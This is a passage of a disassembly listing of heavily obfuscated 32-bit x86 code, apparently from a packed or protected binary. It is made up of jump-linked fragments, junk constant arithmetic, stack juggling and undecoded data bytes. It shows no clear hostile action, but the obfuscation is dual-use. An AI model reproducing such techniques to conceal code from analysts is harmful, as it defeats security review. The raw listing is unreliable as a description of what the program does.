		add	[esp+4], ebp
		jmp	loc_5AE51F
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 7
		dd 0DFD6C381h, 0DD0942F1h, 83241C8Bh, 0E5C104C4h, 0B1B85008h
		dd 316F93BFh, 2FB0E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8BF2:				; CODE XREF: sdfs____:005A945Dj
		pop	esp
		mov	[esp], eax
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_5A34D5
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 44810000h, 473D0424h, 6C012855h, 0E9510424h
		dd 701Dh
; ---------------------------------------------------------------------------


loc_5A8C20:				; CODE XREF: sdfs____:005AF257j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_59F22F
; ---------------------------------------------------------------------------


loc_5A8C3A:				; CODE XREF: sdfs____:loc_5A4E47j
					; sdfs____:005AFD64j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5A8379
; ---------------------------------------------------------------------------


loc_5A8C43:				; CODE XREF: sdfs____:005A1517j
		add	edx, 2D5C2663h
		add	edx, ebx
		jmp	loc_59F3CA
; ---------------------------------------------------------------------------


loc_5A8C50:				; CODE XREF: sdfs____:0059CC2Bj
					; sdfs____:005A56A8j
		add	dword ptr [esp], 4
		jmp	loc_5AA9BD
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 3F14E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8C6A:				; CODE XREF: sdfs____:0059AF64j
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		jmp	loc_5AA630
; ---------------------------------------------------------------------------


loc_5A8C77:				; CODE XREF: sdfs____:0059ECB7j
		jmp	loc_5A988C
; ---------------------------------------------------------------------------
		dd 8FAE958h, 0E2890000h, 4C281h, 0EE90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8C8F:				; CODE XREF: sdfs____:0059A883j
		add	bl, 61h
		jmp	loc_5AF8B6
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 9BE92434h, 55FFFF0Eh, 83E95D54h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8CAB:				; CODE XREF: sdfs____:005A7D4Bj
		shr	ch, 8
		jmp	loc_599D06
; ---------------------------------------------------------------------------


loc_5A8CB3:				; CODE XREF: sdfs____:005A3CAEj
		push	ecx
		jmp	loc_5A9CBC
; ---------------------------------------------------------------------------


loc_5A8CB9:				; CODE XREF: sdfs____:005A17F4j
		push	546h
		mov	[esp], edx
		mov	edx, 6F6D2831h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, 31BB4122h
		jmp	loc_59D105
; ---------------------------------------------------------------------------


loc_5A8CEF:				; CODE XREF: sdfs____:005AA657j
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A5340
; ---------------------------------------------------------------------------


loc_5A8D0C:				; CODE XREF: sdfs____:005A7046j
		push	dword ptr [esp]
		jmp	loc_59DC61
; ---------------------------------------------------------------------------


loc_5A8D14:				; CODE XREF: sdfs____:0059BBABj
		jns	loc_59C1CB
		neg	ebx
		js	loc_5A15AA
		add	ebx, 0FDAF188h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	ecx, 2
		push	70D6h
		mov	[esp], edx
		push	ecx
		mov	ecx, 125D4274h
		add	ecx, 5CBED1BBh
		mov	edx, ecx
		pop	ecx
		and	edx, 80F2CDBh
		push	520h
		mov	[esp], esi
		mov	esi, 602F355Ah
		or	edx, esi
		pop	esi
		jmp	loc_59A9DC
; ---------------------------------------------------------------------------
		db 87h,	0F9h, 0E9h
		dd 0FFFFADE2h, 53BC68h,	6B71E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8D76:				; CODE XREF: sdfs____:005AD1D4j
		add	edi, 533D446Dh
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 6A5692Ah
		add	ebx, eax
		push	eax
		mov	eax, 3C4E079Ah
		jmp	loc_59E94B
; ---------------------------------------------------------------------------


loc_5A8D9A:				; CODE XREF: sdfs____:0059F795j
		push	ecx
		jmp	loc_59AEEE
; ---------------------------------------------------------------------------


loc_5A8DA0:				; CODE XREF: sdfs____:005AA110j
		add	esi, 7410EFCh
		sub	esi, ebp
		jmp	loc_59F566
; ---------------------------------------------------------------------------


loc_5A8DAD:				; CODE XREF: sdfs____:005AC91Aj
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 0B6F7057h
		sub	ebx, 6E422E6Bh
		jmp	loc_5A88C1
; ---------------------------------------------------------------------------


loc_5A8DC6:				; CODE XREF: sdfs____:005AC0D2j
		shl	ebp, 6
		jmp	loc_5A9AF7
; ---------------------------------------------------------------------------


loc_5A8DCE:				; CODE XREF: sdfs____:0059C1F2j
		neg	esi
		inc	esi
		dec	esi
		jmp	loc_59B3AE
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 242C8924h, 91E9E589h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8DE7:				; CODE XREF: sdfs____:0059D825j
		xchg	edx, ebx
		not	edx
		jmp	loc_5AA374
; ---------------------------------------------------------------------------


loc_5A8DF0:				; CODE XREF: sdfs____:005AF6A7j
		shl	al, 3
		shr	al, 1
		push	ebx
		mov	bh, 37h
		add	al, bh
		jmp	loc_5A8F52
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C22C281h, 0DA015FABh, 0FF9882E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8E0D:				; CODE XREF: sdfs____:0059A7EFj
					; sdfs____:0059BB5Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_599B5E
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 36686800h, 5E90000h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8E33:				; CODE XREF: sdfs____:005A24D7j
		inc	al
		push	dx
		mov	dl, 8
		jmp	loc_5AAB6E
; ---------------------------------------------------------------------------


loc_5A8E3E:				; CODE XREF: sdfs____:005A57B7j
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	4861380Fh
		mov	edi, [esp]
		jmp	loc_5A5C87
; ---------------------------------------------------------------------------


loc_5A8E55:				; CODE XREF: sdfs____:005A6925j
		pop	edi
		add	esp, 4
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_59B660
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 7387FE87h, 0FF0ED3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8E75:				; CODE XREF: sdfs____:005A98D1j
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebp, 2A41749h
		sub	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5AFC34
; ---------------------------------------------------------------------------


loc_5A8E92:				; CODE XREF: sdfs____:005A4A9Aj
		sub	esp, 4
		mov	[esp], edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		pop	eax
		jmp	loc_59D5BF
; ---------------------------------------------------------------------------


loc_5A8EA6:				; CODE XREF: sdfs____:005A7E3Fj
		sub	ecx, 15A43154h
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		jmp	loc_5AE665
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0D8D7323h, 0FFBFEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8EC5:				; CODE XREF: sdfs____:0059B38Cj
		add	bl, dh
		jmp	loc_59F33E
; ---------------------------------------------------------------------------


loc_5A8ECC:				; CODE XREF: sdfs____:005A0110j
		xor	ebx, 6D060A54h
		xor	ebx, 394545FEh
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_5A7DCB
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E904EB83h, 0FFFFFD9Fh
; ---------------------------------------------------------------------------


loc_5A8EF8:				; CODE XREF: sdfs____:0059F82Fj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5AB59A
; ---------------------------------------------------------------------------
		dd 0F3EC480h, 0FFA8A382h, 4A49E9FFh, 41E9FFFFh,	0FFFFFF0Ah
		dd 0DD882434h
; ---------------------------------------------------------------------------


loc_5A8F30:				; CODE XREF: sdfs____:0059B93Dj
		push	344Ah
		mov	[esp], eax
		jmp	loc_59D2DE
; ---------------------------------------------------------------------------


loc_5A8F3D:				; CODE XREF: sdfs____:005A0037j
		xor	ebp, esi
		pop	esi
		xor	eax, ebp
		jmp	loc_5AFA50
; ---------------------------------------------------------------------------


loc_5A8F47:				; CODE XREF: sdfs____:005A6A1Fj
		add	ebp, 120D0B11h
		jmp	loc_5A80F6
; ---------------------------------------------------------------------------


loc_5A8F52:				; CODE XREF: sdfs____:005A8DFAj
		pop	ebx
		xor	dh, al
		pop	eax
		jmp	loc_5AE140
; ---------------------------------------------------------------------------


loc_5A8F5B:				; CODE XREF: sdfs____:005A8FEFj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		push	4435h
		mov	[esp], esi
		mov	esi, 30FB63EAh
		push	edx
		mov	edx, 369B0139h
		jmp	loc_5A2DAB
; ---------------------------------------------------------------------------
		dw 5351h
		dd 0F98886B7h, 0F6E1805Bh, 0F6DFB450h, 69EC80D4h, 8858E128h
		dd 2434FFCAh, 4C48159h,	28000000h, 148B66D0h, 2C48324h
		dd 0E5B15152h, 0FF9BA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8FB5:				; CODE XREF: sdfs____:005B01F2j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 64002F90h
		xor	eax, ebx
		pop	ebx
		add	eax, 936BF080h
		add	ebx, 6B8627D3h
		jmp	loc_59C061
; ---------------------------------------------------------------------------


loc_5A8FD1:				; CODE XREF: sdfs____:005AFA34j
		mov	esi, esp
		jmp	loc_5A56E6
; ---------------------------------------------------------------------------


loc_5A8FD8:				; CODE XREF: sdfs____:005A72C6j
		mov	[esp], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A8FE1:				; CODE XREF: sdfs____:0059B3C4j
		add	edi, 72A6558Ch
		jmp	loc_5A135A
; ---------------------------------------------------------------------------


loc_5A8FEC:				; CODE XREF: sdfs____:0059CF74j
		mov	[esp], esp
		jmp	loc_5A8F5B
; ---------------------------------------------------------------------------


loc_5A8FF4:				; CODE XREF: sdfs____:0059C12Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5A7B66
; ---------------------------------------------------------------------------


loc_5A9015:				; CODE XREF: sdfs____:0059E777j
		sub	al, 74h
		jmp	loc_59B6CC
; ---------------------------------------------------------------------------


loc_5A901C:				; CODE XREF: sdfs____:0059C8AAj
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 148098Ah
		dec	edi
		not	edi
		sub	edi, 0AD10BAF9h
		jmp	loc_5A825D
; ---------------------------------------------------------------------------


loc_5A9039:				; CODE XREF: sdfs____:005A19D5j
					; sdfs____:005A50BAj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A903E:				; CODE XREF: sdfs____:loc_5A1182j
		add	ecx, 1F8F1D36h
		jmp	loc_59B18B
; ---------------------------------------------------------------------------
		db 0BEh, 0F8h, 6Dh
		dd 0CE81092Ch, 5B7467DEh, 0F04EEC1h, 0FFCA3F84h, 1FEE81FFh
		dd 814BA526h, 0CF5F7EC6h, 5EF58972h, 0E95EF501h, 0FFFFD92Bh
; ---------------------------------------------------------------------------


loc_5A9074:				; CODE XREF: sdfs____:005AEC49j
		jmp	loc_5A4FA2
; ---------------------------------------------------------------------------


loc_5A9079:				; CODE XREF: sdfs____:005997D9j
		jo	loc_5AEF5D
		add	eax, 58727A36h
		jmp	loc_59AC20
; ---------------------------------------------------------------------------


loc_5A9089:				; CODE XREF: sdfs____:005A7DB9j
		shr	ebx, 7
		inc	ebx
		jmp	loc_5AD795
; ---------------------------------------------------------------------------


loc_5A9092:				; CODE XREF: sdfs____:005A8B91j
		pop	ecx
		jmp	loc_5A6EAA
; ---------------------------------------------------------------------------


loc_5A9098:				; CODE XREF: sdfs____:0059D3C0j
		add	eax, 5E771A78h
		xchg	eax, ebx
		jmp	loc_5B01A0
; ---------------------------------------------------------------------------


loc_5A90A3:				; CODE XREF: sdfs____:005A11FCj
					; sdfs____:005A4852j
		add	eax, 4
		add	eax, 4
		jmp	loc_5AAF22
; ---------------------------------------------------------------------------


loc_5A90B0:				; CODE XREF: sdfs____:0059B8A1j
		push	4FCh
		mov	[esp], ebx
		mov	ebx, 61655E8Eh
		add	ebx, 0F5C5A30h
		inc	ebx
		js	loc_5A6626
		jmp	loc_59EFEF
; ---------------------------------------------------------------------------


loc_5A90CF:				; CODE XREF: sdfs____:005AC49Dj
		xor	ecx, 19D2755Ah
		jb	loc_5AFB11
		and	ecx, 52A67E6Fh
		jmp	loc_5A6456
; ---------------------------------------------------------------------------


loc_5A90E6:				; CODE XREF: sdfs____:005A85C1j
					; sdfs____:005ACF7Dj
		pop	esp
		jmp	loc_5A9C2D
; ---------------------------------------------------------------------------


loc_5A90EC:				; CODE XREF: sdfs____:00599E5Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	small 7D43h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5A646B
; ---------------------------------------------------------------------------


loc_5A9109:				; CODE XREF: sdfs____:0059FE12j
		pop	eax
		or	ebx, ecx
		jmp	loc_5ABDF5
; ---------------------------------------------------------------------------


loc_5A9111:				; CODE XREF: sdfs____:005A78AEj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_59D04D
; ---------------------------------------------------------------------------


loc_5A9124:				; CODE XREF: sdfs____:005AA6C1j
		add	ebx, 32F30599h
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		push	4230h
		jmp	loc_5AF1A3
; ---------------------------------------------------------------------------


loc_5A913B:				; CODE XREF: sdfs____:0059B6ABj
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_5A5367
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9C981D9h, 8142E40Eh,	566ECEE9h, 75DFE950h, 0C480FFFFh
		dd 58E7882Ah, 0C067F780h, 4AE905EFh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A916B:				; CODE XREF: sdfs____:0059E958j
		neg	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_5A99CB
; ---------------------------------------------------------------------------


loc_5A917C:				; CODE XREF: sdfs____:005AFD32j
		push	ebp
		mov	ebp, 4
		sub	edx, 5CC1006Fh
		add	edx, ebp
		add	edx, 5CC1006Fh
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		push	1061h
		mov	[esp], ebp
		push	edi
		push	5B3E051Fh
		pop	edi
		dec	edi
		jo	loc_5A1D37
		shr	edi, 2
		inc	edi
		sub	edi, 16CF8147h
		jmp	loc_5AC631
; ---------------------------------------------------------------------------


loc_5A91C6:				; CODE XREF: sdfs____:005A2E29j
		inc	dword ptr [esp]
		pop	ebx
		and	ebx, 693A61AFh
		neg	ebx
		add	ebx, 7DFF6309h
		jmp	loc_59914E
; ---------------------------------------------------------------------------


loc_5A91DD:				; CODE XREF: sdfs____:005A3FA3j
		sub	ebp, 868C349Ah
		add	ebp, 66154521h
		and	ebp, 3C156C69h
		push	ecx
		mov	ecx, 6A992F93h
		push	ebx
		mov	ebx, 24DFFDA3h
		sub	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 32414061h
		jmp	loc_5AF511
; ---------------------------------------------------------------------------


loc_5A920F:				; CODE XREF: sdfs____:005A3E16j
		pop	edx
		sub	edx, 16AF4873h
		add	edx, esi
		jmp	loc_5A176B
; ---------------------------------------------------------------------------


loc_5A921D:				; CODE XREF: sdfs____:005AF4BDj
		not	cl
		add	cl, 24h
		jmp	loc_59CD2C
; ---------------------------------------------------------------------------


loc_5A9227:				; CODE XREF: sdfs____:0059F2A8j
		shl	ecx, 4
		sub	ecx, 4F774FAEh
		jmp	loc_59AC33
; ---------------------------------------------------------------------------


loc_5A9235:				; CODE XREF: sdfs____:005ADECAj
		xchg	dh, bl
		dec	dh
		xchg	dh, bl
		inc	bl
		shl	bl, 1
		push	edx
		mov	dl, 74h
		jmp	loc_5A9D54
; ---------------------------------------------------------------------------


loc_5A9247:				; CODE XREF: sdfs____:005A92C7j
		jmp	loc_5A7528
; ---------------------------------------------------------------------------


loc_5A924C:				; CODE XREF: sdfs____:0059BA98j
		push	edi
		push	ebp
		mov	ebp, 27F2166Bh
		add	ebp, 0FC7B67F2h
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 5CCB630Fh
		shl	esi, 1
		shr	esi, 1
		sub	esi, 23E94C01h
		jmp	loc_59CB9A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aUhoduHu	db 'UhoD“#]hî(',0
		align 10h
		dd 83241489h, 13E904ECh, 81FFFF5Ch, 4C3h, 8594E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9296:				; CODE XREF: sdfs____:0059F9F3j
		jnb	loc_5A4C8D
		or	esi, 7B9E1251h
		jnp	loc_5A5B5C
		add	esi, 10012552h
		mov	bl, 5
		pop	edi


loc_5A92B2:				; CODE XREF: sdfs____:loc_5AC58Aj
		jmp	loc_599509
; ---------------------------------------------------------------------------
byte_5A92B7	db 66h			; DATA XREF: sdfs____:00598E34o
		dd 0E924048Bh, 0FFFF7024h
; ---------------------------------------------------------------------------


loc_5A92C0:				; CODE XREF: sdfs____:0059D566j
		inc	ecx
		sub	ecx, 426B43E2h
		ja	loc_5A9247
		jmp	loc_5ADA50
; ---------------------------------------------------------------------------
		dw 5557h
		dd 0FE34FD88h
; ---------------------------------------------------------------------------


loc_5A92D8:				; CODE XREF: sdfs____:005A3D37j
		push	edx
		push	1D2B1AF1h
		pop	edx
		shr	edx, 5
		jns	loc_59CA02
		neg	edx
		jp	loc_5A5576
		sub	edx, 0FF16A725h
		push	ebp


loc_5A92F7:				; CODE XREF: sdfs____:005A1D1Ej
		mov	[esp], eax
		mov	al, 0BEh
		push	eax
		mov	ah, 0B9h
		xor	ah, 0AEh
		add	bl, ah
		pop	eax
		sub	bl, al
		sub	bl, 17h
		jmp	loc_59B5F0
; ---------------------------------------------------------------------------
aMh2t		db '¬h2T',0             ; DATA XREF: sdfs____:00598E30o
		dd 24148900h, 0D0002EB2h, 8324148Bh, 526604C4h,	0D02864B2h
		dd 0D8005A66h, 0BA686404h, 0E9000005h, 0FFFFB233h, 0BD1727BBh
		dd 1C38343h, 0FFD136E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9345:				; CODE XREF: sdfs____:0059BF50j
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A0C2A
; ---------------------------------------------------------------------------


loc_5A9358:				; CODE XREF: sdfs____:005A4E6Bj
		and	edx, 39FF7BDFh
		jge	loc_5A9E42
		inc	edx
		jns	loc_5A621F
		mov	cl, 0BCh
		mov	bh, bl
		mov	esi, esp
		add	esi, 4
		jmp	loc_59AE7C
; ---------------------------------------------------------------------------


loc_5A937C:				; CODE XREF: sdfs____:005A3F16j
		jnb	loc_59BC20
		jmp	loc_59F842
; ---------------------------------------------------------------------------
		db 68h
		dd 0
		dd 0CB8900B0h
; ---------------------------------------------------------------------------


loc_5A9390:				; CODE XREF: sdfs____:0059F567j
		mov	ebp, 7F1F7B01h
		shr	ebp, 6
		add	ebp, 1DCF32E2h
		sub	ebp, 188AA1D2h
		sub	esi, ebp
		pop	ebp
		pop	ebp
		jmp	loc_59CA41
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0
		dd 0E970D70Ch, 0FFFF1326h
; ---------------------------------------------------------------------------


loc_5A93B8:				; CODE XREF: sdfs____:005AC6FAj
		add	esi, 0B5618FDBh
		jmp	loc_59C365
; ---------------------------------------------------------------------------


loc_5A93C3:				; CODE XREF: sdfs____:00599B95j
		mov	ebx, esp
		jmp	loc_5ADCB0
; ---------------------------------------------------------------------------
		dw 505Ch
		dd 4B8h, 41C68100h, 1063373h, 19E8E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A93DE:				; CODE XREF: sdfs____:005AF41Bj
		jl	loc_5A4F6A
		and	eax, 7E37516Dh
		jle	loc_5A8317
		or	eax, 21351BA3h
		sub	eax, 0C4374449h
		push	eax
		add	dword ptr [esp], 3C595DBAh
		pop	ebp
		sub	ebp, 3C595DBAh
		pop	eax
		dec	ebp
		jnp	loc_5A7B23
		jmp	loc_59E67D
; ---------------------------------------------------------------------------


loc_5A9415:				; CODE XREF: sdfs____:005AE1B7j
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_59D707
; ---------------------------------------------------------------------------


loc_5A9436:				; CODE XREF: sdfs____:005A0120j
		mov	ecx, [esp]
		jmp	loc_59D967
; ---------------------------------------------------------------------------


loc_5A943E:				; CODE XREF: sdfs____:005A75AEj
		or	edi, 3F8E75E5h
		jns	loc_5A0ED7
		add	edi, 208A0Dh
		mov	edx, edi
		jmp	loc_5AC280
; ---------------------------------------------------------------------------


loc_5A9457:				; CODE XREF: sdfs____:005A1766j
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5A8BF2
; ---------------------------------------------------------------------------


loc_5A9462:				; CODE XREF: sdfs____:0059F6F0j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59BC48
; ---------------------------------------------------------------------------


loc_5A9476:				; CODE XREF: sdfs____:0059D01Dj
		add	ebx, 4
		jmp	loc_5A2065
; ---------------------------------------------------------------------------


loc_5A9481:				; CODE XREF: sdfs____:0059F646j
		push	3C62h
		mov	[esp], edx
		mov	dh, bl
		push	eax
		mov	ah, dh
		push	ebx
		jmp	loc_59C945
; ---------------------------------------------------------------------------


loc_5A9494:				; CODE XREF: sdfs____:005AD4D3j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A06DD
; ---------------------------------------------------------------------------


loc_5A94A2:				; CODE XREF: sdfs____:00599A2Bj
		jmp	loc_5AAA8D
; ---------------------------------------------------------------------------


loc_5A94A7:				; CODE XREF: sdfs____:005AD039j
		dec	ecx
		add	ecx, 0D7AEDD4Bh
		or	edi, ecx
		pop	ecx
		jmp	loc_5A478F
; ---------------------------------------------------------------------------


loc_5A94B6:				; CODE XREF: sdfs____:0059FF6Aj
		xor	eax, 185E43FDh
		sub	[esp+4], eax
		jmp	loc_5AA514
; ---------------------------------------------------------------------------
dword_5A94C4	dd 0FF2434FFh, 34FF2434h, 24048B24h, 5504C483h,	0FF37A6E9h
					; DATA XREF: sdfs____:00598E6Co
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A94D9:				; CODE XREF: sdfs____:005A46A3j
		push	eax
		push	esi
		mov	esi, 2D950647h
		mov	eax, 7400609Bh
		sub	eax, esi
		jmp	loc_5A3D3C
; ---------------------------------------------------------------------------


loc_5A94EC:				; CODE XREF: sdfs____:005AFF68j
		add	ebx, eax
		pop	eax
		jmp	loc_5A79BE
; ---------------------------------------------------------------------------


loc_5A94F4:				; CODE XREF: sdfs____:0059F42Bj
		pop	ebx
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59B06D
; ---------------------------------------------------------------------------
		db 0BEh, 0B1h, 4Ch
		dd 0F189798Eh, 8124348Bh, 4C4h,	81D9F700h, 4ECh, 242C8900h
		dd 0FFB395E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9521:				; CODE XREF: sdfs____:00599592j
		xor	ebp, 508A3F88h
		sub	eax, 50C90A71h
		add	eax, ebp
		add	eax, 50C90A71h
		jmp	loc_5AC8CF
; ---------------------------------------------------------------------------


loc_5A9538:				; CODE XREF: sdfs____:005A9D6Aj
		mov	[esp], ebp
		mov	ebp, 6A0D711Ah
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	44F0h
		mov	[esp], ebp
		mov	ebp, 354811D8h
		add	eax, ebp
		pop	ebp
		jmp	loc_5A27AC
; ---------------------------------------------------------------------------


loc_5A9560:				; CODE XREF: sdfs____:005B00E5j
		add	esi, ebx
		pop	ebx
		shl	esi, 7
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5AC01E
; ---------------------------------------------------------------------------


loc_5A9570:				; CODE XREF: sdfs____:005A561Aj
		sub	esi, 404A065Bh
		pop	ebx
		jmp	loc_5A0861
; ---------------------------------------------------------------------------
		dd 5451E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9582:				; CODE XREF: sdfs____:005A2FE9j
		mov	ecx, 5C943992h
		shl	ecx, 3
		shl	ecx, 5
		jmp	loc_5AC982
; ---------------------------------------------------------------------------


loc_5A9592:				; CODE XREF: sdfs____:005AB208j
		push	ecx
		push	4D7E472Fh
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 63D92553h
		jmp	loc_5A6DC5
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0B5h
		dd 4928BEEBh, 612A8F0Fh, 0E9C1FFFFh, 0CD8B0F05h, 0E9FFFEFFh
		dd 0FFFFBE4Ch, 0BBA5254h, 81027A50h, 634E3ACAh,	7E2C10Dh
		dd 0FF062EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A95D9:				; CODE XREF: sdfs____:0059AF83j
		pop	ebx
		jmp	loc_59B470
; ---------------------------------------------------------------------------


loc_5A95DF:				; CODE XREF: sdfs____:005A5055j
		jbe	loc_59EFCC
		shl	ebx, 6
		shl	ebx, 7
		add	ebx, 0E619BDFh
		sub	esp, 4
		jmp	loc_5A989D
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 148B0424h, 4C48324h,	5C24048Fh, 0FF8479E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A960D:				; CODE XREF: sdfs____:005AE902j
		push	edx
		push	ecx
		jmp	loc_5A8973
; ---------------------------------------------------------------------------


loc_5A9614:				; CODE XREF: sdfs____:005A8B1Cj
		mov	edi, 75467505h
		or	edi, 3D374E84h
		shl	edi, 3
		sub	edi, 1B6535C7h
		shl	edi, 3
		jmp	loc_59B840
; ---------------------------------------------------------------------------
		dd 4C481h, 1C8B0000h, 4C48324h,	2B951h,	0CF010000h, 243C3359h
		dd 33243C31h, 665C243Ch, 9C2424D3h, 0FF2AC7E9h,	4FEF80FFh
		dd 0FF4C91E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9661:				; CODE XREF: sdfs____:005A5E5Cj
		shl	dh, 6
		or	dh, 0F7h
		sub	dh, 48h
		jmp	loc_5A294F
; ---------------------------------------------------------------------------


loc_5A966F:				; CODE XREF: sdfs____:005ABA6Aj
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 12BB2E16h
		sub	eax, 57403C27h
		add	eax, ecx
		add	eax, 57403C27h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5A332863h
		and	ecx, 6B457EA7h
		xor	ecx, 64F73D97h
		dec	ecx
		sub	ecx, 1C3AE79Dh
		sub	eax, ecx
		jmp	loc_5ADDDA
; ---------------------------------------------------------------------------


loc_5A96B0:				; CODE XREF: sdfs____:0059E089j
		pop	esp
		push	small 302Fh
		mov	[esp], dx
		push	3085h
		mov	[esp], ebx
		mov	bh, 6Eh
		and	bh, 0B9h
		jl	loc_5A1756
		jmp	loc_599582
; ---------------------------------------------------------------------------


loc_5A96D1:				; CODE XREF: sdfs____:0059AAC6j
		pop	ebx
		pop	edi
		jmp	loc_59DB52
; ---------------------------------------------------------------------------


loc_5A96D8:				; CODE XREF: sdfs____:0059C042j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	72D7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_59F7A0
; ---------------------------------------------------------------------------


loc_5A9705:				; CODE XREF: sdfs____:005A153Aj
		dec	ebp
		sub	ebp, 47FEA0CCh
		jmp	loc_5A6C68
; ---------------------------------------------------------------------------


loc_5A9711:				; CODE XREF: sdfs____:005A6177j
		xchg	esi, [esp]
		pop	esp
		push	edx
		pop	edi
		pop	edx
		shl	edi, 1
		push	759Ch
		mov	[esp], ecx
		push	esi
		mov	esi, 1AB05FF9h
